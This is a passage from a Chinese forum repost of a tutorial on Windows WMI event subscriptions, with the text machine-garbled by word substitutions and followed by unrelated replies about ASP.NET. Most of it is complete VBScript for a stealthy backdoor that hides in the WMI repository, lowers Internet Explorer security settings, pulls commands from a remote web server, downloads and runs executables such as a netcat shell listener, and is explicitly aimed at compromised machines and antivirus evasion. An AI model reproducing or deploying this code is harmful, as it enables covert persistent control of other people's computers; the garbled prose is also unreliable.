setfcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_创立过滤器和消耗者的绑定
fcbnd.consumer=asecpath.path指定消耗者
fcbnd.filter=fltpath.path指定过滤器
fcbnd.put_实行绑定

wscript.echo"安装完成"

这个剧本的效果是:当“背景打印”服务(spooler)形态改动为中断时,消耗者将举行处置――重启spooler。
先netstartspooler,然后netstopspooler。最多5秒钟,spooler又会启动。

间接运转下面的剧本会堕落,由于“举动剧本事务消耗者”(ActiveScriptEventConsumerASEC)默许没有被安装到rootcimv2名字空间。

用记事本翻开%windir%system32wbemscrcons.mof,将第一行“#pragmanamespace("\.RootDefault")”删除,大概修正为“#pragmanamespace("\.Rootcimv2")”。XP/2003没有这一行,不必修正。
然后实行上面这个命令:

C:WINNTsystem32wbem>mofcomp.exe-N:rootcimv2scrcons.mof
Microsoft(R)32-bitMOF汇编器版本1.50.1085.0007
版权一切(c)MicrosoftCorp.1997-1999。保存一切权力。

正在剖析MOF文件:scrcons.mof
MOF文件剖析乐成
将数据贮存到储蓄库中...
已完成!

如许就把ASEC安装到rootcimv2了。mofcomp.exe和scrcons.mof都是体系自带的。

2000默许将ASEC安装到rootdefault名字空间,而XP/2003默许已安装到rootsubscription名字空间,但因为事务过滤器不克不及跨名字空间捕获事务(XP/2003能够),事务绑定也不克不及跨名字空间,而年夜部分事务都在rootcimv2发生,以是必要从头安装ASEC到事务源地点的名字空间。上面这个剧本主动完成ASEC重安装义务。

setshl=createobject("WScript.Shell")
setfso=createobject("Scripting.FileSystemObject")
path=shl.expandenvironmentstrings("%windir%system32wbem")
setmof=fso.opentextfile(path&"scrcons.mof",1,false,-1)mof都是Unicode格局的
mofs=mof.readall
mof.close
mofs=replace(mofs,"Default","cimv2",1,1)交换默许的名字空间
mofp=path&"asecimv2.mof"
setmof=fso.createtextfile(mofp,false,true)创立一时mof文件
mof.writemofs
mof.close
shl.runpath&"mofcomp.exe-N:rootcimv2"&mofp,0,true安装到rootcimv2
fso.deletefile(mofp)
wscript.echo"安装完成"

刊出永世事务:

nslink="winmgmts:.ootcimv2:"
myconsumer="stopped_spooler_restart_consumer"指定消耗者的名字
myfilter="stopped_spooler_filter"指定过滤器的名字
setbinds=getobject(nslink&"__FilterToConsumerBinding").instances_
foreachbindinbinds
ifstrcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0_
andstrcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0then
getobject("winmgmts:"&bind.consumer).delete_删除消耗者
getobject("winmgmts:"&bind.filter).delete_删除过滤器
bind.delete_删除绑定
exitfor
endif
next
wscript.echo"卸载完成"

除ASEC,WMI还供应其他永世事务消耗者,好比SMTPEventConsumer。当体系呈现非常时,能够经由过程它主动给办理员的信箱发信。WMITools里的WMIEventRegistration用于创立、修正、删除指命名字空间里的永世事务消耗者、事务过滤器和计时器事务源的实例,和绑定或排除绑定它们。

关于事务处置机制的各个部分,在《WMI手艺指南》里有具体的报告,MSDN里固然更周全。我就点到为止了。

(看累了吧,喝口水,歇息一下^_^)

上面入手下手会商剧本后门。

WMI供应了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分离在指定的时候和工夫距离触发事务,注册一个过滤器来捕捉计时器事务,再和ASEC绑定,我们就取得了一种少见的程序自启动的办法。并且,剧本代码完整埋没在CIM存储库中,不以自力的文件存在,查杀对照坚苦。这是剧本后门的上风,但坚苦也很多:

1,剧本运转时,由体系自带的scrcons.exe作为剧本宿主(Windows的计划者还没有笨到用WMI服务作为剧本宿主)。这就会增添一个历程,固然是体系一般的历程,杀毒软件拿它没辙,但仍是太显眼了。以是,不克不及让剧本一向在背景运转,而是应当每隔一段工夫启动一次,然后尽快停止。剧本停止后,scrcons.exe历程不会主动停止,必需让剧本借助WMI供应的Win32_Process工具自动停止宿主历程(煮豆燃豆萁?!)。

2,剧本的收集功效很差,基础上只能依托Microsoft.XMLHTTP之类的工具。因而,剧本后门不克不及监听端口并供应cmdshell,只能反向毗连到web服务器,猎取把持命令。一个可行的举措是,在web服务器上放一个命令文件,剧本后门依据域名找到服务器并下载命令文件,再依据文件内容作出呼应。以是,你必要一台web服务器,大概用netbox等工具建个一时服务器。固然,你不必要让服务器老是在线,必要把持剧本后门时再运转就能够了。

3,因为剧本后门间歇式运转,必要避免反复运转统一个命令。办理办法是在注册内外纪录命令的长度,每次猎取命令后将长度和纪录做对照,假如不异则跳过,分歧则掩盖并实行命令。

4,为了借助ie工具穿透防火墙,XMLHTTP工具必需在ie中被创立,这会遭到Internet域平安级其余限定。即便将代码保留在html文件中再用ie翻开,也不外是“我的电脑”域,创立不平安的ActiveX工具仍是会弹出告诫对话框。办理举措是修正注册表,一时变动平安设置。

5,WScript工具由wscript.exe或cscript.exe供应,而scrcons.exe没有供应,以是良多经常使用的功效,好比WScript.Sleep都不克不及用了。不克不及Sleep就没法异步利用XMLHTTP,而同步XMLHTTP大概被长工夫堵塞,年夜年夜倒霉于后门的潜伏。挪用ping命令来延时会创立新历程,用WScript.Shell的Popup办法延时则有“咚”一声提醒音。幸亏Microsoft.XMLHTTP的“亲戚”很多,好比Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最初谁人能够设置超不时间,恰好满意必要。

即便有重重坚苦,剧本后门仍旧值得应战一下。当肉鸡上的各种木马纷繁被杀毒软件消除后,一个24小时才运转一次的剧本后门多是你最初的但愿。

上面是一个复杂的剧本后门的中心代码(没有安装功效):

cmdu="http://myweb.8866.org/cmd.txt"从web服务器猎取命令的url
cmdw=4000下载超不时间4秒
cmdl="HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength"纪录命令长度的键值名

onerrorresumenext疏忽非致命毛病(调试时正文失落本行)
setshl=createobject("WScript.Shell")固然不克不及利用WScript根工具,其子工具仍是能够用的
setaso=createobject("ADODB.Stream")
setie=createobject("InternetExplorer.Application")利用ie绕过防火墙

zone="HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternetSettingsones3"
set1=zone&"1201"
set2=zone&"1400"
set3=zone&"CurrentLevel"
val1=shl.regread(set1)保留本来的平安设置
val2=shl.regread(set2)
val3=shl.regread(set3)
regd="REG_DWORD"
shl.regwriteset1,0,regd同意在Internet域运转不平安的ActiveX
shl.regwriteset2,0,regd同意举动剧本
shl.regwriteset3,0,regd设置以后Internet域平安级别为“自界说”

ie.visible=0:ie.visible=1(调试用)
ie.navigate"about"&":blank"这里利用字符串联接纯属反论坛过滤
ie.document.write_
"<script>functionwhr(){returnnewActiveXObject(WinHttp.WinHttpRequest.5.1)}</script>"
setwhr=ie.document.script.whr()在ie内创立WinHttpRequest工具

whr.settimeoutscmdw,cmdw,cmdw,cmdw设置域名剖析、毗连、发送和吸收超不时间
whr.open"GET",cmdu,true猎取命令文件
whr.send
ifnotwhr.waitforresponse(cmdw)thendie
ifwhr.status>299thendie
rt=whr.responsetext:wscript.echort(调试用)
:shl.regwritecmdl,0,regd(调试用)
iflen(rt)=shl.regread(cmdl)thendie与前一个命令的长度对照
shl.regwritecmdl,len(rt),regd更新命令长度
cmds=split(rt,vbcrlf,-1)
ifubound(cmds)<1thendie
cmdt=lcase(trim(cmds(0))):wscript.echocmdt(调试用)

aso.type=1
aso.open
cd=shl.currentdirectory&chr(92)
selectcasecmdt剖析命令文件范例
case"vbs"是vbs
execute(rt)间接在以后剧本高低文中实行
die
case":bat"是批处置
aso.writewhr.responsebody
aso.savetofilecd&"_.bat",2保留在以后目次
aso.close
shl.runchr(34)&cd&"_.bat""",0运转批处置
die
case"wsh"是Windows剧本
aso.writewhr.responsebody
aso.savetofilecd&"_.vbs",2保留在以后目次
aso.close
shl.run"cscript.exe"""&cd&"_.vbs""",0利用cscript作为剧本宿主
die
case"exe"exe需进一步剖析
caseelsedie
endselect

ifubound(cmds)<4thendie:wscript.echocmds(1)(调试用)
whr.open"GET",cmds(1),true从指定地位下载exe文件
whr.send
ifnotwhr.waitforresponse(cmds(2))thendie
ifwhr.status>299thendie
path=shl.expandenvironmentstrings(cmds(3))睁开保留路径中的情况变量
aso.writewhr.responsebody:wscript.echopath(调试用)
aso.savetofilepath,2保留exe文件
aso.close
shl.runchr(34)&path&""""&cmds(4),0实行exe

die

subdie
ie.quit
shl.regwriteset1,val1,regd复原Internet域平安设置
shl.regwriteset2,val2,regd
shl.regwriteset3,val3,regd
foreachpsingetobject("winmgmts:.ootcimv2:win32_process").instances_
iflcase(ps.name)="scrcons.exe"thenps.terminate他杀
next
wscript.echo"die":wscript.quit(调试用)
endsub

作废调试语句的正文,下面这段中心代码就能够间接运转。
它将试图从myweb.8866.org上猎取cmd.txt,依据内里的内容进一步举动。
cmd.txt看起来像如许:

exe//被实行的文件范例,能够是vbs、:bat、exe或wsh
http://myweb.8866.org/nc.exe//被实行的文件的下载url
4000//下载超不时间,单元毫秒
%windir%system32
c.exe//文件的保留地位,撑持情况变量
-L-p1234-ecmd.exe//命令行参数

收到下面这个命令后,剧本将从指定url下载nc.exe,保留到体系目次并运转。

假如第一行的文件范例为vbs、wsh或:bat,则把命令文件自己看成剧本或批处置来实行。好比:

:bat
netstarttelnet        :启动telnet服务
del%0             :自删除

假如只是想让某台主机实行命令,能够如许:

:bat
ipconfig|find"123.45.67.89"&&netstarttelnet
del%0

如许就只要ip地点为123.45.67.89的主机才会启动telnet。

wsh和vbs的区分是,前者保留为文件由cscript.exe挪用,后者间接在剧本后门“外部”实行。
利用vbs的优点是不必天生文件,并且能够间接使用后门中已创立的工具,好比shl,但也因而不克不及用WScript根工具。

上面的vbs命令文件把"当地帐户的共享和平安形式"由"仅宾客"改成"典范"(对XP和2003无效):

vbs
shl.regwrite"HKLMSYSTEMCurrentControlSetControlLsaforceguest",0,"REG_DWORD"

注重,vbs和wsh后面都有一个单引号,由于全部命令文件都作为剧本实行,以是必需正文失落第一行,:bat也是一样。
利用vbs时万万注重不要有语法毛病,不然会使后门堕落并中断。假如是庞大的剧本,倡议利用wsh。

将中心代码改写为单行字符串格局,就能够作为ASEC的实例安装了。改写时要注重"if"和"endif"配对和往失落续行符。
完全的安装剧本代码以下:

***以下为参数设置,请依据情形自行修正***
nslink="winmgmts:.ootcimv2:"ASEC地点的名字空间
doorname="vbscript_backdoor"记着后门的名字,卸载时必要
runinterval=86400000天天运转一次
cmdu="http://myweb.8866.org/cmd.txt"命令文件的地位
cmdw=4000文件下载超不时间
cmdl="HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength"保留命令长度的键值名
***参数设置停止***

createobject("WScript.Shell").regwritecmdl,0,"REG_DWORD"

剧本后门中心代码
stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""":onerrorresumenext:setshl=createobject(""WScript.Shell""):setaso=createobject(""ADODB.Stream""):setie=createobject(""InternetExplorer.Application""):zone=""HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternetSettingsones3"":set1=zone&""1201"":set2=zone&""1400"":set3=zone&""CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwriteset1,0,regd:shl.regwriteset2,0,regd:shl.regwriteset3,0,regd:ie.visible=0:ie.navigate""about""&"":blank"":ie.document.write""<script>functionwhr(){returnnewActiveXObject(WinHttp.WinHttpRequest.5.1)}</script>"":withie.document.script.whr():.settimeoutscmdw,cmdw,cmdw,cmdw:.open""GET"",cmdu,true:.send:ifnot.waitforresponse(cmdw)thendie:endif:if.status>299thendie:endif:rt=.responsetext:iflen(rt)=shl.regread(cmdl)thendie:endif:shl.regwritecmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):ifubound(cmds)<1thendie:endif:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):selectcasecmdt:case""vbs"":execute(rt):die:case"":bat"":aso.write.responsebody:aso.savetofilecd&""_.bat"",2:aso.close:shl.runchr(34)&cd&""_.bat"""""",0:die:case""wsh"":aso.write.responsebody:aso.savetofilecd&""_.vbs"",2:aso.close:shl.run""cscript.exe""""""&cd&""_.vbs"""""",0:die:case""exe"":caseelsedie:endselect:ifubound(cmds)<4thendie:endif:.open""GET"",cmds(1),true:.send:ifnot.waitforresponse(cmds(2))thendie:endif:if.status>299thendie:endif:path=shl.expandenvironmentstrings(cmds(3)):aso.write.responsebody:aso.savetofilepath,2:aso.close:shl.runchr(34)&path&""""""""&cmds(4),0:endwith:die:subdie:ie.quit:shl.regwriteset1,val1,regd:shl.regwriteset2,val2,regd:shl.regwriteset3,val3,regd:foreachpsingetobject(""winmgmts:.ootcimv2:win32_process"").instances_:iflcase(ps.name)=""scrcons.exe""thenps.terminate:endif:next:endsub"

设置事务消耗者
setasec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
asec.name=doorname&"_consumer"
asec.scriptingengine="vbscript"
asec.scripttext=stxt
setasecpath=asec.put_

设置计时器
setitimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_
itimer.timerid=doorname&"_itimer"
itimer.intervalbetweenevents=runinterval
itimer.skipifpassed=false
itimer.put_

设置事务过滤器
setevtflt=getobject(nslink&"__EventFilter").spawninstance_
evtflt.name=doorname&"_filter"
evtflt.query="select*from__timereventwheretimerid="""&doorname&"_itimer"""
evtflt.querylanguage="wql"
setfltpath=evtflt.put_

绑定消耗者和过滤器
setfcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_

wscript.echo"安装完成"

与前一个永世事务处置历程分歧的是,剧本后门的事务源是计时器,在每一个名字空间都能够实例化并触发事务。以是,纷歧定要将ASEC安装到rootcimv2。出格是XP/2003,ASEC默许已安装到rootsubscription,只必要响应修正nslink的值,就能够安装剧本后门了。

卸载剧本后门:

cmdl="HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength"
createobject("WScript.Shell").regdeletecmdl删除保留命令长度的键值
nslink="winmgmts:.ootcimv2:"
doorname="vbscript_backdoor"依据剧本后门的名字找到各个工具实例
myconsumer=doorname&"_consumer"
mytimer=doorname&"_itimer"
myfilter=doorname&"_filter"
setbinds=getobject(nslink&"__FilterToConsumerBinding").instances_
foreachbindinbinds
ifstrcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0_
andstrcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0then
bind.delete_
exitfor
endif
next
getobject(nslink&"ActiveScriptEventConsumer.Name="""&myconsumer&"""").delete_
getobject(nslink&"__IntervalTimerInstruction.TimerId="""&mytimer&"""").delete_
getobject(nslink&"__EventFilter.Name="""&myfilter&"""").delete_
wscript.echo"卸载完成"

几点增补申明:
1,剧本后门的上风在于潜伏,以是24小时才运转一次是符合的。不必忧虑由于体系关机而错过运转时机,下次启动时会补上的。

2,为了更好的反查杀,能够给剧本后门的中心代码加壳。在功效上也能够改善到靠近IRC木马的水平,只不外服务端是Web服务器,不克不及同时养太多的马。

3,剧本后门的自启动和运转依附于WMI服务,固然禁用WMI服务就能够根绝此类后门和木马,但比起经由过程注册表启动仍是牢靠的多。假如被蠕虫病毒使用,生怕会很贫苦吧。

【结语】
Windows剧本就像全能胶,可以把自力的程序、服务、控件组合起来完成义务。剧本编程的技能就是组合的技能。XP和2003比2000自带更多的命令行工具,WMI也年夜年夜增强了,剧本的功效水长船高,能够说是“只要想不到,没有做不到”。统统有待你的开掘。

最初,感激你耐烦看完本文,但愿本文能够为你进修Windows剧本供应一些匡助。

接待来信与我交换mailto:zzzevazzz@126.com
接待会见幻影旅团http://www.ph4nt0m.org

【参考材料】
[1]《Windows剧本手艺》先容Windows剧本的基本常识
http://download.microsoft.com/download/win...5.6/W982KMe/CN/scd56chs.exe

[2]WMITools进修剧本必备,包含CIMStudio、EventRegistration、EventViewer和ObjectBrowser四个工具
http://download.microsoft.com/download/.NetStand...1.1/NT5XP/EN-US/WMITools.exe

[3]《WMI手艺指南》出书社:机器产业出书社MarcinPolicht
http://www.huachu.com.cn/itbook/itbookinfo.asp?lbbh=BH99801035

[4]《SystemAdministrationScriptingGuide》包括大批WMI剧本示例
http://www.sometips.com/soft/script_repository.chm

[5]ScriptEncoder官方剧本编码工具
http://download.microsoft.com/download/win....0/WIN98MeXP/CN/sce10chs.exe

[6]微软剧本中央
http://www.microsoft.com/china/technet/c...criptcenter/default.mspx

[7]《MSWindowsScriptHost2.0DevelopersGuide》
http://www.sometips.com/soft/wsh.zip数据挖掘有点高深的,主要估计就是使用一些算法提取一些实用的数据。学好数据挖掘的话可以应聘baidu或者google,但是一般人家对算法的要求听高的。你最好还是学点应用型的吧。这种主要是研究型的。
小女巫 该用户已被删除
沙发
发表于 2015-1-19 19:30:27 来自手机 | 只看该作者
ASP.NET:ASP.net是Microsoft.net的一部分,作为战略产品,不仅仅是ActiveServerPage(ASP)的下一个版本;它还提供了一个统一的Web开发模型,其中包括开发人员生成企业级Web应用程序所需的各种服务。ASP.NET的语法在很大程度上与ASP兼容,同时它还提供一种新的编程模型和结构,可生成伸缩性和稳定性更好的应用程序,并提供更好的安全保护。
简单生活 该用户已被删除
板凳
发表于 2015-1-19 19:30:28 | 只看该作者
逐步缩小出错代码段的范围,最终确定错误代码的位置。
分手快乐 该用户已被删除
地板
发表于 2015-1-19 19:30:28 | 只看该作者
虽然在形式上JSP和ASP或PHP看上去很相似——都可以被内嵌在HTML代码中。但是,它的执行方式和ASP或PHP完全不同。在JSP被执行的时候,JSP文件被JSP解释器(JSPParser)转换成Servlet代码,然后Servlet代码被Java编译器编译成.class字节文件,这样就由生成的Servlet来对客户端应答。所以,JSP可以看做是Servlet的脚本语言(ScriptLanguage)版。
小魔女 该用户已被删除
5#
发表于 2015-2-5 20:26:10 | 只看该作者
代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。
愤怒的大鸟 该用户已被删除
6#
发表于 2015-2-13 13:10:51 | 只看该作者
现在的ASP.net分为两个版本:1.1和2.0Asp.net1.1用VS2003(visualstudio2003)编程。Asp.net2.0用VS2005(visualstudio2005)编程。现在一般开发用的是VS2003。
乐观 该用户已被删除
7#
发表于 2015-3-3 21:44:09 | 只看该作者
asp.net最主要特性包括:◆编程代码更简洁◆网站可实现的功能更强大◆运行效率高◆节省服务器的动作资源
金色的骷髅 该用户已被删除
8#
发表于 2015-3-11 13:59:31 | 只看该作者
ASP.NET可以无缝地与WYSIWYGHTML编辑器和其他编程工具(包括MicrosoftVisualStudio.NET)一起工作。这不仅使得Web开发更加方便,而且还能提供这些工具必须提供的所有优点,包括开发人员可以用来将服务器控件拖放到Web页的GUI和完全集成的调试支持。微软为ASP.net设计了这样一些策略:易于写出结构清晰的代码、代码易于重用和共享、可用编译类语言编写等等,目的是让程序员更容易开发出Web应用,满足计算向Web转移的战略需要。
兰色精灵 该用户已被删除
9#
发表于 2015-3-26 18:57:00 | 只看该作者
它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-6-6 22:47

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表